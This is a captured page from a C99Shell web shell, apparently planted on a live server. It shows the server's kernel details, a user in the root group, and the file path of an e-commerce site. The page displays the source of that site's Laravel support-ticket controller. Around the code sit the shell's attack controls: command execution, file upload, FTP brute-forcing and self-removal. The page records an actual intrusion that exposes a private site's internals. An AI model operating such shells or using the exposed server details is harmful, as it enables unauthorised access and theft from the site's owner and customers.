!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Ticket/Http/Controllers/Vendor/   drwxr-xr-x
Free 26.63 GB of 117.98 GB (22.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TicketController.php (12.91 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Modules\Ticket\Http\Controllers\Vendor;

use 
Illuminate\Http\Request;
use 
Illuminate\Routing\Controller;
use 
Modules\Ticket\DataTables\SupportDataTable;
use 
App\Exports\VendorTicketsExport;
use 
DB;
use 
Excel;

use 
Modules\Ticket\Http\Models\{
    
Thread,
    
ThreadReply,
    
ThreadStatus,
    
Priority,
    
Department
};
use 
Illuminate\Support\Facades\{
    
Auth,
    
Session
};
use 
App\Models\{
    
User,
    
Preference
};

use 
Modules\Ticket\Http\Requests\{
    
VendorTicketRequest,
    
ReplyRequest
};
use 
App\Services\Mail\TicketReplyMailService;


class 
TicketController extends Controller
{
    
/**
     * Vendor ticket list
     * @param SupportDataTable $supportDataTable
     *
     */
    
public function index(SupportDataTable $supportDataTable)
    {
        
$data['departments'] = Department::get();
        
$data['statuses']    = ThreadStatus::get();
        
$data['from'] = request()->input('from');
        
$data['to'] = request()->input('to');
        
$data['department_id'] = request()->input('department_id');
        
$data['status_id'] = request()->input('status_id');
        
$data['thread'] = (new Thread())->getAllData($data['from'], $data['to'], $data['department_id'], $data['status_id']);
        return 
$supportDataTable->with(['threadData' => $data['thread']])->render('ticket::index'$data);
    }

    
/**
     * Update reply
     * @param Request $request
     *
     */
    
public function update(Request $request)
    {
        if (isset(
$request->id)) {
            if (
ThreadReply::updateReply($request->message$request->id)) {
                
\Session::flash('success'__('Successfully Saved'));
                return 
redirect()->back();
            }
        }
        
\Session::flash('fail'__('Something went wrong, please try again.'));
        return 
redirect()->back();
    }

    
/**
     * Create ticket
     */
    
public function create()
    {
        
$data['projectPanel'] = 0;
        
$data['object_type'] = 'TICKET';
        
$data['priorities']   = Priority::get();
        
$data['threadStatus'] = ThreadStatus::get();
        
$data['departments']  = Department::get();
        return 
view('ticket::add'$data);
    }

    
/**
     * Store Ticket
     * @param VendorTicketRequest $request

     *
     * @return [type]
     */
    
public function store(VendorTicketRequest $request)
    {
        try {
            
$user Auth::user();
            
DB::beginTransaction();
            
$data['receiver_id']        = $user->id;
            
$data['email']              = $user->email ??  null;
            
$data['name']               = $user->name ??  null;
            
$data['department_id']      = $request->department_id;
            
$data['priority_id']        = $request->priority_id;
            
$data['thread_status_id']   = 1;
            
$data['thread_key']         = 'THRD-' uniqid();
            
$data['subject']            = $request->subject;
            
$data['thread_type']        = $request->object_type;
            
$data['sender_id']          = 1// 1 refered to admin
            
$data['date']               = date('Y-m-d H:i:s');
            
$data['project_id']         = isset($request->project_id) ?  $request->project_id null;
            
$data['last_reply']         = date('Y-m-d H:i:s');

            
// Creating new thread
            
$id = (new Thread)->store($data);
            if (!empty(
$id)) {
                
$replyData['thread_id'] = $id;
                
$replyData['sender_id']   = $user->id;
                
$replyData['message']   = $request->message;
                
$replyData['date']      = $data['date'];
                
$replyData['has_attachment']      = isset($request->file) ? 0;
                
$threadReply = (new ThreadReply)->store($replyData);
            }
            
DB::commit();

            
$attachments = [];
            if (isset(
$request->file_id) && !empty($request->file_id)) {
                
$fileId ThreadReply::where('id'$id)->get();

                foreach (
$fileId as $key => $file) {
                    
$attachments $file->filesUrlNew(['imageUrl' => 'true']);

                }
            }

            
$info['emailInfo'] = (new Thread())->getAllTicketDetailsById($id);
            
$info['assignId'] = 1// Vendor ticket asigned to Admin
            
$info['files'] = $attachments;
            
$emailResponse = (new TicketReplyMailService)->send($info);
            if (
$emailResponse['status'] == false) {
                
\Session::flash('fail'__($emailResponse['message']));
            }

            
Session::flash('success'__('Successfully Saved'));
            return 
redirect('vendor/ticket/reply/'.base64_encode($id));
        } catch (
Exception $e) {
            
DB::rollBack();
            return 
redirect()->back()->withInput()->withErrors(['error' => $e->getMessage()]);
        }

    }

    public function 
pdf()
    {
        
$data['from']       = $from       request('from');
        
$data['to']         = $to         request('to');
        
$status             request('status');
        
$departmentId       request('department_id');
        
$data['customerSelected'] = '';
        
$data['departmentSelected'] = Department::find($departmentId);
        
$data['statusSelected'] = ThreadStatus::find($status);
        
$data['ticketList'] = (new Thread())->getAllData($from$to$departmentId$statusnull)->orderBy('date''desc')->get();
        
$data['company_logo'] = Preference::getAll()->where('category','company')->where('field''company_logo')->first('value');
        
$data['date_range'] = (!empty($from) && !empty($to)) ?  formatDate($from) . ' To ' formatDate($to) : 'No date selected';
        return 
printPDF($data'ticket_list_pdf' time() . '.pdf''ticket::vendor_pdf'view('ticket::vendor_pdf'$data), 'pdf');
    }

    public function 
csv()
    {
        return 
Excel::download(new VendorTicketsExport(), 'tickets_list' time() . '.csv');
    }



    public function 
getAllStatus(Request $request)
    {
        
$data = ['status' => 0];
        
$data['output'] = '';
        
$statusName    $request->statusName;
        
$ticketId   $request->ticketId;
        if (!empty(
$statusName) && !empty($ticketId)) {
            
$ticketStatus DB::table('ticket_statuses')->where('name''!='$statusName)->orderBy('name')->get();
            foreach (
$ticketStatus as $key => $value) {
                
$data['output'] .= '<li class="properties"><a class="status_change f-14 color_black" ticket_id="' $ticketId '" data-id="' $value->id '" data-value="' $value->name '">' $value->name '</a></li>';
            }
            
$data['status'] = 1;
        }
        return 
$data;
    }



    public function 
view($id)
    {
        
$data['page_title'] = __('Ticket Reply');
        
$ticket_id   base64_decode($id);
        
$previousurl url()->previous();

        
$data['header'] = 'ticket';
        
$data['ticketStatuses']      = ThreadStatus::getAll();
        
$data['ticketDetails']      = (new Thread)->getAllTicketDetailsById($ticket_id);
        if (empty(
$data['ticketDetails'])) {
            return 
redirect()->back()->with('fail'__('The data you are trying to access is not found.'));
        }
        
$data['priority']           = Priority::where('id''='$data['ticketDetails']->priority_id)->first();

        
$data['ticketReplies']      = (new Thread)->getAllTicketRepliersById($ticket_id);
        
$data['ticketStatus'] = ThreadStatus::where('id''!=',  $data['ticketDetails']->thread_status_id)->orderBy('name')->get();
        
$data['filePath'] = "public/uploads";
        
$data['assignee'] = User::where('status''active')->get();

        return 
view('ticket::reply'$data);
    }



    public function 
replyStore(ReplyRequest $request)
    {
        try {
            
DB::beginTransaction();
            if (!empty(
$request->ticket_id)) {
                
DB::table('threads')
                    ->
where('id'$request->ticket_id)
                    ->
update([
                        
'thread_status_id'    => 6// 6 refered to open
                        
'last_reply'    => date('Y-m-d H:i:s'),
                    ]);
            }
            
$data['thread_id'] = $request->ticket_id;
            
$data['sender_id']   = Auth::user()->id;
            
$data['message']   = $request->message;
            
$data['date']      = date('Y-m-d H:i:s');
            
$thredReplyId = (new ThreadReply)->store($data);

            
$attachments = [];

            if (isset(
$request->file_id) && !empty($request->file_id)) {
                
$fileId ThreadReply::where('id'$thredReplyId)->first();
                
$attachments $fileId->filesUrlNew(['imageUrl' => 'true']);
            }

            
$info['emailInfo'] = (new Thread())->getAllTicketDetailsById($request->ticket_id);
            
$info['assignId'] = empty($info['emailInfo']->assigned_member_id) ? $info['emailInfo']->assigned_member_id// Vendor ticket asigned to Admin
            
$info['files'] = $attachments;

            
$emailResponse = (new TicketReplyMailService)->send($info);
            if (
$emailResponse['status'] == false) {
                
\Session::flash('fail'__($emailResponse['message']));
            }
            
DB::commit();
            
Session::flash('success'__('Successfully Saved'));
            return 
redirect()->back();
        } catch (
Exception $e) {
            
DB::rollBack();
            return 
redirect()->back()->withInput()->withErrors(['error' => $e->getMessage()]);
        }
    }

    public function 
replyDelete(Request $request)
    {
        if (isset(
$request->id) && isset($request->ticket_id)) {
            
// If file exeist then delete
            
$file DB::table('files')->where(['ticket_reply_id' => $request->id'ticket_id' => $request->ticket_id])->first();
            if (!empty(
$file)) {
                @
unlink(public_path() . '/uploads/ticketFile/' $file->file_name);
                
DB::table('files')->where(['ticket_reply_id' => $request->id'ticket_id' => $request->ticket_id])->delete();
            }
            
// Delete Ticket Reply
            
$data DB::table('ticket_replies')->where(['id' => $request->id'ticket_id' => $request->ticket_id])->first();
            if (!empty(
$data)) {
                
\DB::table('ticket_replies')->where(['id' => $request->id'ticket_id' => $request->ticket_id])->delete();
                
\Session::flash('success'__('Deleted Successfully.'));
                return 
redirect()->back();
            }
        }
    }



    public function 
customerReply($id)
    {
        
$ticket_id             base64_decode($id);
        
$data['menu']          = 'customer-panel-support';
        
$data['page_title'] = __('Customer Ticket Reply');
        
$data['ticketDetails'] = $this->Ticket->getAllTicketDetailsById($ticket_id);

        if (empty(
$data['ticketDetails'])) {
            return 
redirect()->back()->with('fail'__('The data you are trying to access is not found.'));
        }

        
$data['assignee'] = User::where('id'$data['ticketDetails']->assigned_member_id)->first();
        if (
$data['ticketDetails']['customer_id'] != Auth::guard('customer')->user()->id) {
            
Session::flash('fail'__('Invalid Ticket Reply'));
            return 
redirect('customer/dashboard');
        }
        
$data['ticketReplies'] = $this->Ticket->getAllTicketRepliersById($ticket_id);
        
$replyFiles = [];
        foreach (
$data['ticketReplies'] as  $ticketReply) {
            
$replyFiles[$ticketReply->id] = (new File)->getFiles('Ticket Reply'$ticketReply->id);
        }
        
$data['replyFiles'] = $replyFiles;
        
$data['filePath'] = "public/uploads/tickets";

        return 
view('admin.customerPanel.ticket.reply'$data);
    }


    public function 
changeStatus(Request $request)
    {
        
$data = ['status' => 0];
        if (!empty(
$request->status_id) && !empty($request->ticketId)) {
            
$previousStatus Thread::where('id'$request->ticketId)->first(['thread_status_id']);
            
$data['preStatusName'] = str_replace(' '''$previousStatus->threadStatus->name);
            
$update Thread::where(['id' => $request->ticketId])->update([
                
'thread_status_id' => $request->status_id,
            ]);

            if (
$update) {
                
$newStatus Thread::where('id'$request->ticketId)->first(['thread_status_id']);
                
$ticktStatus ThreadStatus::where('id'$newStatus->thread_status_id)->pluck('color''name')->toArray();
                
$data['newStatusName'] = str_replace(' '''$newStatus->threadStatus->name);
                
$data['newName'] = $newStatus->threadStatus->name;
                
$data['newStatusColor'] = array_values($ticktStatus)[0];
                
$data['status']  = '1';
            }
        }
        return 
$data;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--